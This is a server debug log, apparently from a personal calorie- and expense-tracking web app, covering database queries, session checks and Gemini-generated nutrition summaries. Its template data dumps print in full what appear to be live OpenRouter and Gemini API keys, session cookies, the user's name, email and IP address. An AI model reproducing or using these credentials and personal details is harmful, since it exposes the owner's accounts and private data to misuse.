  { item_name: 'Hair clip', item_id: 337, category_name: 'Beauty' },
  { item_name: 'Lotus cream', item_id: 437, category_name: 'Beauty' },
  { item_name: 'Hair Band', item_id: 476, category_name: 'Beauty' },
  {
    item_name: 'Loreal Conditional',
    item_id: 561,
    category_name: 'Beauty'
  },
  {
    item_name: 'Ram Narayan Jwellery',
    item_id: 564,
    category_name: 'Beauty'
  },
  {
    item_name: 'Boutique moisturizing cream',
    item_id: 592,
    category_name: 'Beauty'
  },
  { item_name: 'D tan', item_id: 593, category_name: 'Beauty' },
  { item_name: 'Pani Puri', item_id: 56, category_name: 'Eating Out' },
  { item_name: 'Cold Drink', item_id: 59, category_name: 'Eating Out' },
  { item_name: 'Lunch', item_id: 63, category_name: 'Eating Out' },
  { item_name: 'Dinner', item_id: 64, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Tikka',
    item_id: 67,
    category_name: 'Eating Out'
  },
  { item_name: 'Momos', item_id: 68, category_name: 'Eating Out' },
  { item_name: 'Faluda', item_id: 69, category_name: 'Eating Out' },
  { item_name: 'Pastry', item_id: 72, category_name: 'Eating Out' },
  {
    item_name: 'Fruit Cream',
    item_id: 73,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Rabdi Bottle',
    item_id: 74,
    category_name: 'Eating Out'
  },
  { item_name: 'Idli Fry', item_id: 80, category_name: 'Eating Out' },
  {
    item_name: 'Ferroro Rocher Shake',
    item_id: 82,
    category_name: 'Eating Out'
  },
  { item_name: 'Sandwich', item_id: 83, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple Juice',
    item_id: 84,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Mausmi Juice',
    item_id: 85,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kitkat Shake',
    item_id: 87,
    category_name: 'Eating Out'
  },
  { item_name: 'Tea', item_id: 100, category_name: 'Eating Out' },
  {
    item_name: 'Bread Butter',
    item_id: 104,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Spring Roll',
    item_id: 114,
    category_name: 'Eating Out'
  },
  { item_name: 'Red Bull', item_id: 125, category_name: 'Eating Out' },
  { item_name: 'Nimbuz', item_id: 132, category_name: 'Eating Out' },
  {
    item_name: 'Kadi kachori',
    item_id: 140,
    category_name: 'Eating Out'
  },
  { item_name: 'Nimu soda', item_id: 141, category_name: 'Eating Out' },
  {
    item_name: 'Chocho Lottie Pie',
    item_id: 156,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Manchurian',
    item_id: 157,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Cold coffee',
    item_id: 158,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sprite Cold Drink',
    item_id: 170,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Snickers Chochlate',
    item_id: 171,
    category_name: 'Eating Out'
  },
  { item_name: 'Puff Corn', item_id: 172, category_name: 'Eating Out' },
  {
    item_name: 'Cadbusy Fuse Chochlate',
    item_id: 174,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Five Starts Chochlate',
    item_id: 175,
    category_name: 'Eating Out'
  },
  { item_name: 'Mithai', item_id: 190, category_name: 'Eating Out' },
  {
    item_name: 'Real Juice',
    item_id: 195,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fanta Cold Drink',
    item_id: 198,
    category_name: 'Eating Out'
  },
  { item_name: 'Ice Cream', item_id: 199, category_name: 'Eating Out' },
  {
    item_name: 'Chicken Ready Made',
    item_id: 203,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Sunfest Yuppie Noodles',
    item_id: 204,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Kingfisher mint cold drink',
    item_id: 205,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Ghewar Mithai',
    item_id: 226,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Moti choor Ladoo',
    item_id: 227,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chichen Tikka Roll',
    item_id: 233,
    category_name: 'Eating Out'
  },
  { item_name: 'Pav Bhaji', item_id: 234, category_name: 'Eating Out' },
  { item_name: 'Fish', item_id: 235, category_name: 'Eating Out' },
  { item_name: 'Dabeli', item_id: 236, category_name: 'Eating Out' },
  {
    item_name: 'Gulab Jamun',
    item_id: 248,
    category_name: 'Eating Out'
  },
  { item_name: 'soya chap', item_id: 255, category_name: 'Eating Out' },
  {
    item_name: 'Pineapple shake',
    item_id: 256,
    category_name: 'Eating Out'
  },
  { item_name: 'Tiffin', item_id: 259, category_name: 'Eating Out' },
  { item_name: 'Pizza', item_id: 260, category_name: 'Eating Out' },
  {
    item_name: 'Sitafal Thick Shake',
    item_id: 261,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Fruit Punch thick shake',
    item_id: 262,
    category_name: 'Eating Out'
  },
  {
    item_name: 'Chole Kulche',
    item_id: 264,
    category_name: 'Eating Out'
  },
  ... 534 more items
]
2025-12-18T08:30:36.569Z server-connect:output user_info: {
  first_name: 'Sanjay',
  last_name: 'Kumar',
  email: 'engineer.sanjay20@gmail.com',
  id: 1
}
2025-12-18T08:30:39.862Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T08:30:39.863Z server-connect:app Executing action step identify
2025-12-18T08:30:39.863Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:39.863Z server-connect:output identity: 1
2025-12-18T08:30:39.863Z server-connect:app Executing action step restrict
2025-12-18T08:30:39.863Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T08:30:39.864Z server-connect:output restrict: undefined
2025-12-18T08:30:39.864Z server-connect:router Render template calorie-tracker
2025-12-18T08:30:39.864Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'x-forwarded-for': '49.43.180.152',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2025-12-19T02:37:25.035Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/calorie-tracker',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.180.152',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/calorie-tracker',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"53b4-hJwt03sV3qAQlEbosi1oHRrMibw"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3AdAcB8ogG1XV5TQXPBVhGQg%3D%3D.TBB4ILy26x25ShQNn994KY4eFPPXB1953TvNXgHJfLiRYkpr0A%2FcPTNQV97OQjpiMokmYmM7q3wnm8%2FtLQBjxmhkaiMx7JcnS4heavIw4%2B2YWiOmAkSjnE%2BbF0Um22EXXAKY%2FOaiNxSaE6Z35seOjkBhW%2BINGL7HCfC6v6BMxcI%3D.PT0k245B8RS2Ek7AjMtc6%2FqgC19uyNE3i9L%2FLdTO1YQ; your_r_git.sid=s%3AVkBY102LIeTcHzvu-J0fjlo9LiwgIH_0.QVa%2FExYL4Pi%2BHp13zO%2BL5e3PQEqEKCvNyJp4wumKhqg',
    'HTTP_X_FORWARDED-FOR': '49.43.180.152',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2025-12-18T08:30:41.201Z server-connect:router Serving serverConnect /api/gemini/get-health-summary
2025-12-18T08:30:41.202Z server-connect:router Serving serverConnect /api/health/todays-calories
2025-12-18T08:30:41.202Z server-connect:app Executing action step identify
2025-12-18T08:30:41.202Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:41.202Z server-connect:output identity: 1
2025-12-18T08:30:41.202Z server-connect:app Executing action step restrict
2025-12-18T08:30:41.202Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:41.202Z server-connect:output restrict: undefined
2025-12-18T08:30:41.202Z server-connect:app Executing action step single
2025-12-18T08:30:41.202Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'health_summary' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `summary`, `date` from `health_summary` where `health_summary`.`date` = ?'
  }
}
2025-12-18T08:30:41.203Z server-connect:app Executing action step identify
2025-12-18T08:30:41.203Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:41.203Z server-connect:output identity: 1
2025-12-18T08:30:41.203Z server-connect:app Executing action step restrict
2025-12-18T08:30:41.203Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T08:30:41.204Z server-connect:output restrict: undefined
2025-12-18T08:30:41.204Z server-connect:app Executing action step single
2025-12-18T08:30:41.204Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object], [Object], [Object], [Object], [Object] ],
    params: [ [Object], [Object] ],
    table: { name: 'calories_requirement' },
    joins: [],
    primary: 'id',
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `id`, `start_date`, `end_date`, `maintenance_calories`, `weight_kg`, `target_calories` from `calories_requirement` where `calories_requirement`.`start_date` <= ? and `calories_requirement`.`end_date` >= ?'
  }
}
2025-12-18T08:30:41.205Z server-connect:output summary: {
  summary: {
    rating: 4,
    summary: "Today's food intake appears to be quite limited, focusing primarily on a snack and a protein supplement. While the protein supplement is beneficial for muscle development, the overall meal composition lacks variety and essential nutrients. Consistent early morning gym sessions are a positive for your goals. The recent weight trend shows some fluctuation but a general downward movement.",
    bad_points: [
      'Very limited food variety for the day.',
      'Lack of substantial meals to support energy levels and recovery.',
      'The snack composition may not be ideal for balanced nutrition.',
      'Insufficient intake of fiber and micronutrients.'
    ],
    good_points: [
      'Consistent gym attendance is commendable.',
      'Inclusion of whey protein supports muscle development.'
    ],
    suggestions: [
      'Incorporate more whole foods like vegetables, fruits, and lean proteins throughout the day.',
      'Ensure meals are balanced with complex carbohydrates and healthy fats.',
      'Consider adding a more substantial breakfast and lunch.',
      'Increase fluid intake.'
    ],
    predicted_weight: 70.1,
    predicted_weight_trend: 'Slight downward movement'
  },
  date: '2025-12-17T18:30:00.000Z'
}
2025-12-18T08:30:41.206Z server-connect:output requirements: {
  id: 3,
  start_date: '2025-11-09T18:30:00.000Z',
  end_date: '2025-12-29T18:30:00.000Z',
  maintenance_calories: 2400,
  weight_kg: '71.00',
  target_calories: 1800
}
2025-12-18T08:30:41.206Z server-connect:app Executing action step select
2025-12-18T08:30:41.206Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [ [Object] ],
    table: { name: 'calories_tracking' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select * from `calories_tracking` where `calories_tracking`.`intake_date` = ? order by `id` ASC',
    orders: [ [Object] ]
  }
}
2025-12-18T08:30:41.208Z server-connect:output item_list: [
  {
    id: 433,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Aloo Matar Mix Snack (Googhri)',
    calories: 225,
    protein_gm: 5,
    carbs_gm: 30,
    fat_gm: 11,
    quantity: '1 katori (approx. 150g)',
    replacements: 'Steamed Aloo Matar (without deep frying),Aloo Matar with less oil and more vegetables,Roasted chickpeas or lentils',
    created_at: '2025-12-17T22:44:21.000Z',
    skip_level: 2,
    skip_reason: "While potatoes and peas offer some nutrients, 'Googhri' often implies deep-frying or significant oil, increasing calorie and fat content. For muscle development, a less oily preparation or alternative protein sources would be more beneficial."
  },
  {
    id: 434,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Milk Tea',
    calories: 60,
    protein_gm: 4,
    carbs_gm: 6,
    fat_gm: 2,
    quantity: '0.5 cup (approx 120ml)',
    replacements: 'Black tea (no milk, no sugar),Herbal tea,Green tea',
    created_at: '2025-12-17T22:48:21.000Z',
    skip_level: 2,
    skip_reason: 'While not inherently bad, milk tea still contributes calories and some fat. For muscle development, prioritizing protein and complex carbs is key. You could opt for black tea or green tea for hydration without the added calories from milk, or choose a protein shake instead.'
  },
  {
    id: 435,
    intake_date: '2025-12-17T18:30:00.000Z',
    item_name: 'Whey Protein',
    calories: 120,
    protein_gm: 27,
    carbs_gm: 3,
    fat_gm: 1,
    quantity: '1 scoop (27g protein)',
    replacements: 'Casein protein (slower digestion, good for muscle repair overnight),Egg whites,Lean chicken breast',
    created_at: '2025-12-17T23:39:25.000Z',
    skip_level: 1,
    skip_reason: 'Excellent for muscle development, especially post-workout. High in protein, low in carbs and fat.'
  }
]
2025-12-18T08:30:41.208Z server-connect:app Executing action step setvalue
2025-12-18T08:30:41.208Z server-connect:app options: { key: 'var_total', value: "{{item_list.sum('calories')}}" }
2025-12-18T08:30:41.208Z server-connect:output var_total: 405
2025-12-18T08:30:41.209Z server-connect:app Executing action step setvalue
2025-12-18T08:30:41.209Z server-connect:app options: {
  key: 'var_consumed',
  value: '{{((var_total / requirements.maintenance_calories)*100).round(0)}}'
}
2025-12-18T08:30:41.209Z server-connect:output var_consumed: 17
2025-12-18T08:30:41.209Z server-connect:app Executing action step setvalue
2025-12-18T08:30:41.209Z server-connect:app options: {
  key: 'var_deficit',
  value: '{{requirements.maintenance_calories-var_total}}'
}
2025-12-18T08:30:41.209Z server-connect:output var_deficit: 1995
2025-12-18T08:30:41.209Z server-connect:app Executing action step custom
2025-12-18T08:30:41.209Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT\n' +
      '  ct.intake_date,\n' +
      '  SUM(ct.calories) AS total_consumed,\n' +
      '  COALESCE(cr.maintenance_calories, 0) - SUM(ct.calories) AS surplus_or_deficit,\n' +
      '  CASE\n' +
      '    WHEN SUM(ct.calories) > COALESCE(cr.maintenance_calories, 0) THEN 0\n' +
      '    WHEN SUM(ct.calories) >= COALESCE(cr.target_calories, 0) THEN 1\n' +
      '    ELSE 2\n' +
      '  END AS status_flag\n' +
      'FROM calories_tracking ct\n' +
      'LEFT JOIN (\n' +
      '  -- pick the requirement row that covers TODAY (CURDATE())\n' +
      '  SELECT *\n' +
      '  FROM calories_requirement\n' +
      '  WHERE DATE(start_date) <= CURDATE()\n' +
      '    AND DATE(end_date)   >= CURDATE()\n' +
      '  ORDER BY start_date DESC\n' +
      '  LIMIT 1\n' +
      ') cr ON 1 = 1\n' +
      "WHERE ct.intake_date >= DATE_FORMAT(CURDATE(), '%Y-%m-01')\n" +
      "  AND ct.intake_date <  DATE_ADD(DATE_FORMAT(CURDATE(), '%Y-%m-01'), INTERVAL 1 MONTH)\n" +
      'GROUP BY ct.intake_date\n' +
      'ORDER BY ct.intake_date;',
    params: []
  }
}
2025-12-18T08:30:41.210Z server-connect:output monthly_chart: [
  {
    intake_date: 2025-11-30T18:30:00.000Z,
    total_consumed: '1890',
    surplus_or_deficit: '510',
    status_flag: 1
  },
  {
    intake_date: 2025-12-01T18:30:00.000Z,
    total_consumed: '1094',
    surplus_or_deficit: '1306',
    status_flag: 2
  },
  {
    intake_date: 2025-12-02T18:30:00.000Z,
    total_consumed: '1923',
    surplus_or_deficit: '477',
    status_flag: 1
  },
  {
    intake_date: 2025-12-03T18:30:00.000Z,
    total_consumed: '1851',
    surplus_or_deficit: '549',
    status_flag: 1
  },
  {
    intake_date: 2025-12-04T18:30:00.000Z,
    total_consumed: '2435',
    surplus_or_deficit: '-35',
    status_flag: 0
  },
  {
    intake_date: 2025-12-05T18:30:00.000Z,
    total_consumed: '1055',
    surplus_or_deficit: '1345',
    status_flag: 2
  },
  {
    intake_date: 2025-12-07T18:30:00.000Z,
    total_consumed: '2303',
    surplus_or_deficit: '97',
    status_flag: 1
  },
  {
    intake_date: 2025-12-08T18:30:00.000Z,
    total_consumed: '1571',
    surplus_or_deficit: '829',
    status_flag: 2
  },
  {
    intake_date: 2025-12-09T18:30:00.000Z,
    total_consumed: '1297',
    surplus_or_deficit: '1103',
    status_flag: 2
  },
  {
    intake_date: 2025-12-12T18:30:00.000Z,
    total_consumed: '1882',
    surplus_or_deficit: '518',
    status_flag: 1
  },
  {
    intake_date: 2025-12-13T18:30:00.000Z,
    total_consumed: '404',
    surplus_or_deficit: '1996',
    status_flag: 2
  },
  {
    intake_date: 2025-12-14T18:30:00.000Z,
    total_consumed: '2521',
    surplus_or_deficit: '-121',
    status_flag: 0
  },
  {
    intake_date: 2025-12-15T18:30:00.000Z,
    total_consumed: '2030',
    surplus_or_deficit: '370',
    status_flag: 1
  },
  {
    intake_date: 2025-12-16T18:30:00.000Z,
    total_consumed: '2088',
    surplus_or_deficit: '312',
    status_flag: 1
  },
  {
    intake_date: 2025-12-17T18:30:00.000Z,
    total_consumed: '405',
    surplus_or_deficit: '1995',
    status_flag: 2
  }
]
2025-12-18T08:30:44.592Z server-connect:app Executing action step identify
2025-12-18T08:30:44.592Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:44.593Z server-connect:output identity: 1
2025-12-18T08:30:49.306Z server-connect:router Serving serverConnect /api/gemini/calculate-calorie
2025-12-18T08:30:49.306Z server-connect:app Executing action step identify
2025-12-18T08:30:49.306Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:49.306Z server-connect:output identity: 1
2025-12-18T08:30:49.306Z server-connect:app Executing action step restrict
2025-12-18T08:30:49.306Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T08:30:49.307Z server-connect:output restrict: undefined
2025-12-18T08:30:49.307Z server-connect:app Executing action step processWithGemini
2025-12-18T08:30:49.307Z server-connect:app options: { request_type: 'calories', raw_text: '{{$_POST.calorie_query}}' }
2025-12-18T08:30:52.221Z server-connect:output calculate_calorie: {
  items: [
    {
      food_name: 'Baingan Sabji',
      quantity: '1 serving (approx. 150g)',
      calories_consumed: 105,
      total_calories: 105,
      protein: 2.1,
      carbs: 12.6,
      fat: 5.4,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Generally healthy, but oil content can increase calories. For muscle development, focus on lean protein sources.'
    },
    {
      food_name: 'Roti',
      quantity: '3.5',
      calories_consumed: 105,
      total_calories: 367.5,
      protein: 3.5,
      carbs: 22.5,
      fat: 1.5,
      lower_calorie_alternatives: [Array],
      skip_level: 1,
      skip_reason: 'Good source of complex carbohydrates for energy. Quantity should be adjusted based on overall calorie and macro goals for muscle development.'
    }
  ],
  total_macros: {
    protein: { value: 14.35, unit: 'g' },
    carbs: { value: 91.35, unit: 'g' },
    fat: { value: 10.65, unit: 'g' }
  }
}
2025-12-18T08:30:56.931Z server-connect:router Serving serverConnect /api/health/manage-calories
2025-12-18T08:30:56.932Z server-connect:app Executing action step identify
2025-12-18T08:30:56.932Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:56.932Z server-connect:output identity: 1
2025-12-18T08:30:56.932Z server-connect:app Executing action step restrict
2025-12-18T08:30:56.932Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2025-12-18T08:30:56.933Z server-connect:output restrict: undefined
2025-12-18T08:30:56.933Z server-connect:app Executing action step condition
2025-12-18T08:30:56.933Z server-connect:app options: {
  if: '{{$_POST.items.length}}',
  then: {
    steps: {
      name: 'repeat',
      module: 'core',
      action: 'repeat',
      options: [Object],
      output: true,
      meta: [Array],
      outputType: 'array'
    }
  }
}
2025-12-18T08:30:56.933Z server-connect:app Executing action step repeat
2025-12-18T08:30:56.933Z server-connect:app options: {
  repeat: '{{$_POST.items}}',
  outputFields: [],
  exec: {
    steps: {
      name: 'calories',
      module: 'dbupdater',
      action: 'insert',
      options: [Object],
      meta: [Array]
    }
  }
}
2025-12-18T08:30:56.933Z server-connect:app Executing action step insert
2025-12-18T08:30:56.933Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T08:30:56.934Z server-connect:output calories: { affected: 1, identity: 436 }
2025-12-18T08:30:56.934Z server-connect:app Executing action step insert
2025-12-18T08:30:56.934Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'insert',
    values: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    table: 'calories_tracking',
    returning: 'id',
    query: 'insert into `calories_tracking` (`calories`, `carbs_gm`, `created_at`, `fat_gm`, `intake_date`, `item_name`, `protein_gm`, `quantity`, `replacements`, `skip_level`, `skip_reason`) values (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)',
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ]
  }
}
2025-12-18T08:30:56.935Z server-connect:output calories: { affected: 1, identity: 437 }
2025-12-18T08:30:56.935Z server-connect:output repeat: [ {}, {} ]
2025-12-18T08:30:56.935Z server-connect:output condition: undefined
2025-12-18T08:30:57.266Z server-connect:router Serving templateView /calorie-tracker
2025-12-18T08:30:57.267Z server-connect:app Executing action step identify
2025-12-18T08:30:57.267Z server-connect:app options: { provider: 'security' }
2025-12-18T08:30:57.267Z server-connect:output identity: 1
2025-12-18T08:30:57.267Z server-connect:app Executing action step restrict
2025-12-18T08:30:57.267Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2025-12-18T08:30:57.268Z server-connect:output restrict: undefined
2025-12-18T08:30:57.268Z server-connect:router Render template layouts/main
2025-12-18T08:30:57.268Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': {},
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'cache-control': 'max-age=0',
    'sec-ch-ua': '"Google Chrome";v="143", "Chromium";v="143", "Not A(Brand";v="24"',
    'sec-ch-ua-mobile': '?1',
    'sec-ch-ua-platform': '"Android"',
    'upgrade-insecure-requests': '1',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Mobile Safari/537.36',
    accept: 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7',
    'service-worker-navigation-preload': 'true',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'navigate',
    'sec-fetch-user': '?1',
    'sec-fetch-dest': 'document',
    referer: 'https://ems.sanjaychaurasia.xyz/calorie-tracker',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"1505c-6XZ48wk/QlRgtGeezmrNALUh0rI"',
    priority: 'u=0, i',
